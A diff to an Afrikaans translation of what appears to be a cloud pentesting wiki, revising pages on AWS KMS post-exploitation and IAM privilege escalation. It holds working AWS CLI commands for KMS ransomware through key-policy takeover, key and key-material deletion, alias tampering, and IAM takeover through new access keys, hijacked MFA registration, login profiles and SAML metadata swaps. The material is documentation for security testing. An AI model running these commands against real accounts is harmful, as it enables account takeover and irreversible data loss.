diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md index df558de8a..13b87a318 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md @@ -4,21 +4,21 @@ ## KMS -Vir meer inligting, sien: +Vir meer inligting sien: {{#ref}} ../../aws-services/aws-kms-enum.md {{#endref}} -### Encrypt/Decrypt inligting +### Encrypt/Decrypt information -`fileb://` and `file://` are URI-skemas wat in AWS CLI-opdragte gebruik word om die pad na plaaslike lêers te spesifiseer: +`fileb://` and `file://` are URI-skema's wat in AWS CLI-opdragte gebruik word om die pad na plaaslike lêers te spesifiseer: -- `fileb://:` Lees die lêer in binêre modus, algemeen gebruik vir nie-tekslêers. +- `fileb://:` Lees die lêer in binêre modus, gewoonlik gebruik vir nie-tekslêers. - `file://:` Lees die lêer in teksmodus, tipies gebruik vir gewone tekslêers, skripte, of JSON wat nie spesiale koderingvereistes het nie. > [!TIP] -> Let wel dat as jy sommige data binne 'n lêer wil decrypt, moet die lêer die binêre data bevat, nie base64-geënkodeerde data nie. (fileb://) +> Let daarop dat as jy data binne 'n lêer wil ontsleutel, die lêer die binêre data moet bevat, nie base64-geënkodeerde data nie. (fileb://) - Gebruik 'n **symmetric** sleutel ```bash @@ -38,7 +38,7 @@ aws kms decrypt \ --query Plaintext | base64 \ --decode ``` -- Gebruik 'n **asimmetriese** sleutel: +- Deur 'n **asimmetriese** sleutel te gebruik: ```bash # Encrypt data aws kms encrypt \ @@ -60,14 +60,14 @@ aws kms decrypt \ ``` ### KMS Ransomware -An attacker met bevoorregte toegang tot KMS kan die KMS policy van sleutels wysig en **sy account toegang tot hulle gee**, en sodoende die toegang wat aan die legit account verleen is, verwyder. +'n Aanvaller met bevoorregte toegang tot KMS kan die KMS policy van keys wysig en **sy account toegang daartoe verleen**, en sodoende die toegang wat aan die legit account toegestaan is, verwyder. -Dan sal die legit account gebruikers nie toegang hê tot enige inligting van enige diens wat met daardie sleutels versleuteld is nie, wat 'n maklike maar effektiewe ransomware oor die account skep. +Dan sal die gebruikers van die legit account nie toegang hê tot enige inligting van enige diens wat met daardie keys geënkripteer is nie, wat 'n eenvoudige maar effektiewe ransomware oor die account skep. > [!WARNING] -> Note that **AWS managed keys aren't affected** by this attack, only **Customer managed keys**. - -> Also note the need to use the param **`--bypass-policy-lockout-safety-check`** (the lack of this option in the web console makes this attack only possible from the CLI). +> Let wel dat **AWS managed keys** nie deur hierdie aanval geraak word nie, slegs **Customer managed keys**. +> +> Neem ook kennis van die behoefte om die parameter **`--bypass-policy-lockout-safety-check`** te gebruik (die afwesigheid van hierdie opsie in die webkonsole maak hierdie aanval slegs moontlik vanaf die CLI). ```bash # Force policy change aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ @@ -92,28 +92,28 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ } ``` > [!CAUTION] -> Let wel dat as jy daardie beleid verander en slegs toegang aan 'n eksterne rekening gee, en dan vanaf hierdie eksterne rekening probeer om 'n nuwe beleid te stel om die toegang terug te gee aan die oorspronklike rekening, sal jy dit nie kan doen nie omdat die **Put Polocy action cannot be performed from a cross account**. +> Let daarop dat as jy daardie beleid verander en slegs toegang gee aan 'n eksterne rekening, en dan vanaf daardie eksterne rekening probeer om 'n nuwe beleid te stel om **die toegang terug aan die oorspronklike rekening te gee, sal jy dit nie kan doen nie omdat die Put Polocy action nie vanaf 'n kruis-rekening uitgevoer kan word nie**.
-### Generic KMS Ransomware +### Generiese KMS Ransomware Daar is nog 'n manier om 'n globale KMS Ransomware uit te voer, wat die volgende stappe behels: -- Skep 'n nuwe **key with a key material** ingevoer deur die aanvaller -- **Re-encrypt older data** van die slagoffer wat met die vorige weergawe geïnkripteer is met die nuwe een. -- **Delete the KMS key** -- Nou sal slegs die aanvaller, wat die oorspronklike key material het, in staat wees om die geïnkripteerde data te ontsleutel +- Skep 'n nuwe **sleutel met sleutelmateriaal** wat deur die aanvaller ingevoer is +- **Her-enkripteer ouer data** van die slagoffer wat met die vorige weergawe enkripteer is met die nuwe een. +- **Verwyder die KMS sleutel** +- Nou slegs die aanvaller, wat die oorspronklike sleutelmateriaal het, sal in staat wees om die enkripteerde data te ontsleutel -### Delete Keys via kms:DeleteImportedKeyMaterial +### Verwyder sleutels via kms:DeleteImportedKeyMaterial -Met die `kms:DeleteImportedKeyMaterial` toestemming kan 'n akteur die imported key material van CMKs met `Origin=EXTERNAL` (CMKs wat hul key material ingevoer het) verwyder, wat hulle onmoontlik sal maak om data te ontsleutel. Hierdie aksie is vernietigend en onomkeerbaar tensy kompatibele materiaal weer ingevoer word, wat 'n aanvaller effektief toelaat om ransomware-agtige dataverlies te veroorsaak deur geïnkripteerde inligting permanent ontoeganklik te maak. +Met die `kms:DeleteImportedKeyMaterial` toestemming kan 'n akteur die ingevoerde sleutelmateriaal van CMKs met `Origin=EXTERNAL` (CMKs wat hulle sleutelmateriaal ingevoer het) uitvee, wat hulle onmoontlik maak om data te ontsleutel. Hierdie aksie is destruktief en onomkeerbaar tensy versoenbare materiaal weer ingevoer word, wat 'n aanvaller effektief in staat stel om ransomware-agtige dataverlies te veroorsaak deur enkripteerde inligting permanent ontoeganklik te maak. ```bash aws kms delete-imported-key-material --key-id ``` -### Destroy keys +### Vernietig keys -Deur sleutels te vernietig, is dit moontlik om 'n DoS uit te voer. +Deur keys te vernietig is dit moontlik om 'n DoS uit te voer. ```bash # Schedule the destoy of a key (min wait time is 7 days) aws kms schedule-key-deletion \ @@ -121,10 +121,10 @@ aws kms schedule-key-deletion \ --pending-window-in-days 7 ``` > [!CAUTION] -> Let daarop dat AWS nou **voorkom dat die vorige aksies van 'n kruis-rekening uitgevoer word:** +> Neem kennis dat AWS nou **voorkom dat die vorige aksies van 'n cross account uitgevoer word:** ### Verander of verwyder Alias -Hierdie aanval verwyder of herlei AWS KMS aliases, breek sleuteloplossing en veroorsaak onmiddellike foute in enige dienste wat op daardie aliases staatmaak, wat lei tot 'n denial-of-service. Met permissies soos `kms:DeleteAlias` of `kms:UpdateAlias` kan 'n aanvaller aliases verwyder of herlei en kriptografiese operasies (bv. encrypt, describe) ontwrig. Enige diens wat na die alias verwys in plaas van die key ID kan misluk totdat die alias herstel of korrek herkaarteer is. +Hierdie aanval verwyder of herlei AWS KMS aliases, wat sleuteloplossing breek en onmiddellike mislukkings veroorsaak in enige dienste wat op daardie aliases staatmaak, wat lei tot 'n denial-of-service. Met permissies soos `kms:DeleteAlias` of `kms:UpdateAlias` kan 'n aanvaller aliases verwyder of herlei en kriptografiese bedrywighede (bv., encrypt, describe) ontwrig. Enige diens wat na die alias verwys in plaas van na die key ID kan misluk totdat die alias herstel is of korrek herkaarteer is. ```bash # Delete Alias aws kms delete-alias --alias-name alias/ @@ -134,8 +134,8 @@ aws kms update-alias \ --alias-name alias/ \ --target-key-id ``` -### Kanselleer Sleutelverwydering -Met toestemmings soos `kms:CancelKeyDeletion` en `kms:EnableKey` kan 'n bedreigingsakteur 'n geskeduleerde verwydering van 'n AWS KMS customer master key kanselleer en dit later heraktiveer. Dit herstel die sleutel (aanvanklik in Disabled state) en herstel sy vermoë om voorheen beskermde data te ontsleutel, waardeur exfiltration moontlik word. +### Cancel Key Deletion +Met toestemmings soos `kms:CancelKeyDeletion` en `kms:EnableKey`, kan 'n akteur 'n geskeduleerde verwydering van 'n AWS KMS customer master key kanselleer en dit later weer aktiveer. Deur dit te doen herstel die sleutel (aanvanklik in Disabled state) en herstel sy vermoë om voorheen beskermde data te ontsleutel, waardeur exfiltration moontlik word. ```bash # Firts cancel de deletion aws kms cancel-key-deletion \ @@ -146,13 +146,13 @@ aws kms enable-key \ --key-id ``` ### Disable Key -Met die `kms:DisableKey`-toestemming kan 'n akteur 'n AWS KMS customer master key deaktiveer, wat verhoed dat dit vir enkripsie of dekripsie gebruik word. Dit breek die toegang vir enige dienste wat van daardie CMK afhanklik is en kan onmiddellike ontwrigting of 'n diensweigering veroorsaak totdat die sleutel weer geaktiveer word. +Met die `kms:DisableKey` toestemming kan 'n akteur 'n AWS KMS customer master key deaktiveer, waardeur dit nie vir versleuteling of ontsleuteling gebruik kan word nie. Dit verbreek toegang vir enige dienste wat op daardie CMK staatmaak en kan onmiddellike ontwrigtings of 'n denial-of-service veroorsaak totdat die sleutel weer geaktiveer word. ```bash aws kms disable-key \ --key-id ``` -### Aflei van 'n gedeelde geheim -Met die `kms:DeriveSharedSecret`-toestemming kan 'n akteur 'n deur KMS gehoude private sleutel en 'n deur 'n gebruiker verskafde publieke sleutel gebruik om 'n ECDH-gedeelde geheim te bereken. +### Aflei Gedeelde Geheim +Met die `kms:DeriveSharedSecret`-toestemming kan 'n akteur 'n KMS-gehoude private sleutel en 'n deur 'n gebruiker verskafde publieke sleutel gebruik om 'n ECDH-gedeelde geheim te bereken. ```bash aws kms derive-shared-secret \ --key-id \ @@ -160,7 +160,7 @@ aws kms derive-shared-secret \ --key-agreement-algorithm ``` ### Impersonation via kms:Sign -Met die `kms:Sign` toestemming kan 'n akteur 'n KMS-stored CMK gebruik om data kriptografies te teken sonder om die private sleutel bloot te stel, waardeur geldige handtekeninge gegenereer word wat impersonation moontlik kan maak of kwaadwillige aksies kan magtig. +Met die `kms:Sign` toestemming kan 'n actor 'n KMS-stored CMK gebruik om data kriptografies te teken sonder om die private key bloot te stel, wat geldige signatures produseer wat impersonation moontlik maak of kwaadwillige aksies magtig. ```bash aws kms sign \ --key-id \ @@ -169,7 +169,7 @@ aws kms sign \ --message-type RAW ``` ### DoS with Custom Key Stores -Met toestemmings soos `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore`, of `kms:UpdateCustomKeyStore` kan 'n akteur 'n AWS KMS Custom Key Store (CKS) wysig, ontkoppel of verwyder, wat sy master keys onbruikbaar maak. Dit breek enkripsie-, dekripsie- en ondertekeningsbedrywighede vir enige dienste wat op daardie sleutels staatmaak en kan onmiddellike denial-of-service veroorsaak. Daarom is dit kritiek om daardie toestemmings te beperk en te monitor. +Met toestemmings soos `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore`, of `kms:UpdateCustomKeyStore`, kan 'n aanvaller 'n AWS KMS Custom Key Store (CKS) wysig, ontkoppel of verwyder, wat sy hoofsleutels onbruikbaar maak. Dit breek enkripsie-, dekripsie- en ondertekeningsoperasies vir enige dienste wat op daardie sleutels staatmaak en kan 'n onmiddellike denial-of-service veroorsaak. Daarom is dit krities om daardie toestemmings te beperk en te monitor. ```bash aws kms delete-custom-key-store --custom-key-store-id diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md index 4165b259b..a188fd2cb 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md @@ -12,38 +12,57 @@ Vir meer inligting oor IAM, sien: ### **`iam:CreatePolicyVersion`** -Gee die vermoë om 'n nuwe IAM-beleidsweergawe te skep, en omseil die behoefte aan die `iam:SetDefaultPolicyVersion` toestemming deur die `--set-as-default` vlag te gebruik. Dit stel jou in staat om aangepaste permissies te definieer. +Gee die vermoë om 'n nuwe IAM policy-weergawe te skep, en om die vereiste vir die `iam:SetDefaultPolicyVersion` toestemming te omseil deur die `--set-as-default` vlag te gebruik. Dit maak dit moontlik om pasgemaakte toestemmings te definieer. **Exploit Command:** ```bash aws iam create-policy-version --policy-arn \ --policy-document file:///path/to/administrator/policy.json --set-as-default ``` -**Impact:** Eskaleer bevoegdhede direk deur enige aksie op enige hulpbron toe te laat. +**Impact:** Eskaleer direk bevoegdhede deur enige aksie op enige hulpbron toe te laat. ### **`iam:SetDefaultPolicyVersion`** -Laat toe om die standaardweergawe van 'n IAM-beleid na 'n ander bestaande weergawe te verander, wat potensieel bevoegdhede kan eskaleer as die nuwe weergawe meer toestemmings het. +Laat toe om die standaardweergawe van 'n IAM-beleid na 'n ander bestaande weergawe te verander, wat bevoegdhede kan eskaleer as die nuwe weergawe meer toestemmings het. **Bash Command:** ```bash aws iam set-default-policy-version --policy-arn --version-id v2 ``` -**Impak:** Indirekte privilege escalation deur meer permissies moontlik te maak. +**Impak:** Indirekte privilege escalation deur meer permissies toe te laat. -### **`iam:CreateAccessKey`** +### **`iam:CreateAccessKey`, (`iam:DeleteAccessKey`)** -Stel in staat om 'n access key ID en secret access key vir 'n ander gebruiker te skep, wat tot moontlike privilege escalation kan lei. +Maak dit moontlik om access key ID en secret access key vir 'n ander gebruiker te skep, wat tot moontlike privilege escalation kan lei. **Exploit:** ```bash aws iam create-access-key --user-name ``` -**Impak:** Direkte privilege escalation deur die aanneem van 'n ander gebruiker se uitgebreide permissions. +**Impact:** Direkte verhoging van voorregte deur die aanname van 'n ander gebruiker se uitgebreide toestemmings. + +Let daarop dat 'n gebruiker slegs 2 toegangssleutels kan hê, dus as 'n gebruiker reeds 2 toegangssleutels het, sal jy die toestemming `iam:DeleteAccessKey` nodig hê om een daarvan te verwyder sodat jy 'n nuwe een kan skep: +```bash +aws iam delete-access-key --uaccess-key-id +``` +### **`iam:CreateVirtualMFADevice` + `iam:EnableMFADevice`** + +As jy 'n nuwe virtual MFA device kan skep en dit op 'n ander gebruiker kan aktiveer, kan jy effektief jou eie MFA vir daardie gebruiker inskryf en dan 'n MFA-backed sessie vir hul credentials versoek. + +**Exploit:** +```bash +# Create a virtual MFA device (this returns the serial and the base32 seed) +aws iam create-virtual-mfa-device --virtual-mfa-device-name + +# Generate 2 consecutive TOTP codes from the seed, then enable it for the user +aws iam enable-mfa-device --user-name --serial-number \ +--authentication-code1 --authentication-code2 +``` +**Impak:** Direkte privilege escalation deur 'n gebruiker se MFA-registrasie oor te neem (en daarna hul permissions te gebruik). ### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`** -Laat toe om 'n login profile te skep of by te werk, insluitend die instel van wagwoorde vir AWS console login, wat tot direkte privilege escalation lei. +Laat toe om 'n login profile te skep of by te werk, insluitend die instel van wagwoorde vir AWS console login, wat tot direkte privilege escalation kan lei. **Exploit for Creation:** ```bash @@ -55,21 +74,21 @@ aws iam create-login-profile --user-name target_user --no-password-reset-require aws iam update-login-profile --user-name target_user --no-password-reset-required \ --password '' ``` -**Impak:** Direkte privilege escalation deur aan te meld as "any" gebruiker. +**Impak:** Direkte privilege escalation deur aan te meld as "enige" gebruiker. ### **`iam:UpdateAccessKey`** -Laat toe om 'n gedeaktiveerde access key weer te aktiveer, wat moontlik tot ongemagtigde toegang kan lei indien die aanvaller die gedeaktiveerde key besit. +Laat toe om 'n gedeaktiveerde access key te aktiveer, wat moontlik kan lei tot unauthorized access as die attacker die gedeaktiveerde key besit. **Exploit:** ```bash aws iam update-access-key --access-key-id --status Active --user-name ``` -**Impak:** Direkte privilege escalation deur access keys te heraktiveer. +**Impak:** Direkte privilege escalation deur toegangssleutels te heraktiveer. ### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`** -Laat toe om credentials vir spesifieke AWS-dienste (bv. CodeCommit, Amazon Keyspaces) te genereer of terug te stel, en erf die permissions van die geassosieerde gebruiker. +Stel in staat om credentials te genereer of te herstel vir spesifieke AWS-dienste (bv. CodeCommit, Amazon Keyspaces), en neem die toestemmings van die gekoppelde gebruiker aan. **Exploit for Creation:** ```bash @@ -79,11 +98,11 @@ aws iam create-service-specific-credential --user-name --service-name ```bash aws iam reset-service-specific-credential --service-specific-credential-id ``` -**Impak:** Direkte privilege escalation binne die gebruiker se dienspermissies. +**Impak:** Direct privilege escalation binne die gebruiker se dienspermissies. ### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`** -Laat toe om policies aan gebruikers of groepe te koppel, directly escalating privileges deur die permissies van die aangehegte policy te erf. +Laat toe om beleide aan gebruikers of groepe te heg, wat direk privileges eskaleer deur die toestemmings van die aangehegte beleid te erf. **Exploit for User:** ```bash @@ -97,7 +116,7 @@ aws iam attach-group-policy --group-name --policy-arn " ### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`** -Laat toe om beleide aan roles, users of groups aan te heg of te plaas, wat direkte privilege-eskalasie moontlik maak deur addisionele permissies te verleen. +Laat toe om beleide aan rolle, gebruikers of groepe te heg of te plaas, wat direkte privilege-eskalasie moontlik maak deur bykomende toestemmings toe te ken. **Exploit for Role:** ```bash @@ -114,7 +133,7 @@ aws iam put-group-policy --group-name --policy-name "" aws iam put-role-policy --role-name --policy-name "" \ --policy-document file:///path/to/policy.json ``` -Jy kan 'n beleid soos volg gebruik: +Jy kan 'n beleid soos die volgende gebruik: ```json { "Version": "2012-10-17", @@ -127,28 +146,28 @@ Jy kan 'n beleid soos volg gebruik: ] } ``` -**Impak:** Direkte privilege escalation deur permissions by te voeg via policies. +**Impak:** Direkte privilege escalation deur permissies by te voeg via beleide. ### **`iam:AddUserToGroup`** -Laat toe om jouself by 'n IAM group te voeg, escalating privileges deur die group se permissions te erf. +Maak dit moontlik om jouself by 'n IAM-groep te voeg, escalating privileges deur die groep se permissies te erf. **Exploit:** ```bash aws iam add-user-to-group --group-name --user-name ``` -**Impak:** Direkte voorreg-eskalasie tot die vlak van die groep se regte. +**Impact:** Direkte eskalasie van bevoegdhede tot die vlak van die groep se toestemmings. ### **`iam:UpdateAssumeRolePolicy`** -Laat toe om die assume role-beleidsdokument van 'n rol te verander, wat die aanname van die rol en die daarmee geassosieerde regte moontlik maak. +Laat toe om die assume role policy document van 'n role aan te pas, wat die aanneming van die role en die daarmee geassosieerde toestemmings moontlik maak. -**Exploit:** +**Uitbuiting:** ```bash aws iam update-assume-role-policy --role-name \ --policy-document file:///path/to/assume/role/policy.json ``` -Waar die beleid soos volg lyk, wat die gebruiker toestemming gee om die rol aan te neem: +Waar die beleid soos hieronder lyk, wat die gebruiker toestemming gee om die rol aan te neem: ```json { "Version": "2012-10-17", @@ -163,38 +182,38 @@ Waar die beleid soos volg lyk, wat die gebruiker toestemming gee om die rol aan ] } ``` -**Impak:** Direkte privilege escalation deur die toestemmings van enige rol aan te neem. +**Impact:** Direkte privilege escalation deur enige rol se toestemmings aan te neem. ### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`** -Laat toe om 'n SSH publieke sleutel op te laai vir autentisering by CodeCommit en om MFA-toestelle te deaktiveer, wat kan lei tot potensiële indirekte privilege escalation. +Laat toe om 'n SSH public key op te laai vir verifikasie by CodeCommit en om MFA-toestelle te deaktiveer, wat tot potensiële indirekte privilege escalation kan lei. -**Exploit for SSH Key Upload:** +**Uitbuiting vir SSH Key Upload:** ```bash aws iam upload-ssh-public-key --user-name --ssh-public-key-body ``` -**Exploit vir MFA deaktivering:** +**Exploit vir MFA-deaktivering:** ```bash aws iam deactivate-mfa-device --user-name --serial-number ``` -**Impact:** Indirekte privilege escalation deur toegang tot CodeCommit te aktiveer of MFA-beskerming uit te skakel. +**Impak:** Indirekte privilege escalation deur CodeCommit-toegang aan te skakel of MFA-beskerming uit te skakel. ### **`iam:ResyncMFADevice`** -Laat toe om 'n MFA-toestel te hersinchroniseer, wat moontlik tot indirekte privilege escalation kan lei deur MFA-beskerming te manipuleer. +Laat hersinkronisering van 'n MFA-toestel toe, wat moontlik tot indirekte privilege escalation kan lei deur MFA-beskerming te manipuleer. -**Bash-opdrag:** +**Bash Command:** ```bash aws iam resync-mfa-device --user-name --serial-number \ --authentication-code1 --authentication-code2 ``` -**Impact:** Indirect privilege escalation deur byvoeging of manipulering van MFA devices. +**Impact:** Indirect privilege escalation deur by te voeg of te manipuleer MFA devices. ### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`) -Met hierdie permissies kan jy die **XML metadata van die SAML-verbinding verander**. Dan kan jy die **SAML federation** misbruik om met enige **role wat dit vertrou** aan te meld. +Met hierdie permissies kan jy die XML-metagegewens van die SAML-verbinding verander. Daarna kan jy die SAML federation misbruik om te login met enige role wat dit vertrou. -Neem kennis dat as jy dit doen **sal legitieme gebruikers nie kan aanmeld nie**. Jy kan egter die XML kry, jou eie insit, aanmeld en die vorige weer herstel. +Let wel: as jy dit doen sal legit users nie kan login nie. Dit is egter moontlik om die XML te kry, sodat jy jou eie kan plaas, login en die vorige weer terugstel. ```bash # List SAMLs aws iam list-saml-providers @@ -211,11 +230,11 @@ aws iam update-saml-provider --saml-metadata-document --saml-provider-ar aws iam update-saml-provider --saml-metadata-document --saml-provider-arn ``` > [!NOTE] -> TODO: 'n hulpmiddel wat SAML metadata kan genereer en kan aanmeld met 'n gespesifiseerde role +> TODO: 'n gereedskap wat die SAML metagegewens kan genereer en kan aanmeld met 'n gespesifiseerde rol ### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**) -(Onseker hiervan) As 'n aanvaller hierdie **permissions** het, kan hy 'n nuwe **Thumbprint** byvoeg sodat hy by al die roles wat die provider vertrou kan aanmeld. +(Onseker hieroor) As 'n aanvaller hierdie **permissions** het, kan hy 'n nuwe **Thumbprint** byvoeg en daarin slaag om aan te meld in alle rolle wat die provider vertrou. ```bash # List providers aws iam list-open-id-connect-providers @@ -226,7 +245,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar ``` ### `iam:PutUserPermissionsBoundary` -Hierdie permission laat 'n attacker toe om die permissions boundary van 'n user by te werk, wat moontlik hul privileges kan eskaleer deur hulle toe te laat aksies uit te voer wat normaalweg deur hul bestaande toestemmings beperk is. +Hierdie toestemming laat 'n attacker toe om die permissions boundary van 'n user op te dateer, wat moontlik hul privileges kan eskaleer deur hulle toe te laat om actions uit te voer wat normaalweg deur hul bestaande permissions beperk word. ```bash aws iam put-user-permissions-boundary \ --user-name \ @@ -249,7 +268,7 @@ Un ejemplo de una política que no aplica ninguna restricción es: ``` ### `iam:PutRolePermissionsBoundary` -'n akteur met iam:PutRolePermissionsBoundary kan 'n permissions boundary op 'n bestaande role stel. Die risiko ontstaan wanneer iemand met hierdie toestemming die boundary van 'n role verander: hulle kan bedrywighede onvanpas beperk (wat diensonderbreking veroorsaak) of, as hulle 'n permissive boundary heg, effektief uitbrei wat die role kan doen en escalate privileges. +'n Akteur met iam:PutRolePermissionsBoundary kan 'n toestemmingsgrens op 'n bestaande rol stel. Die risiko ontstaan wanneer iemand met hierdie toestemming die rol se grens verander: hulle kan bedrywighede onvanpas beperk (wat diensonderbreking veroorsaak) of, as hulle 'n toegeeflike toestemmingsgrens heg, effektief uitbrei wat die rol kan doen en voorregte verhoog. ```bash aws iam put-role-permissions-boundary \ --role-name \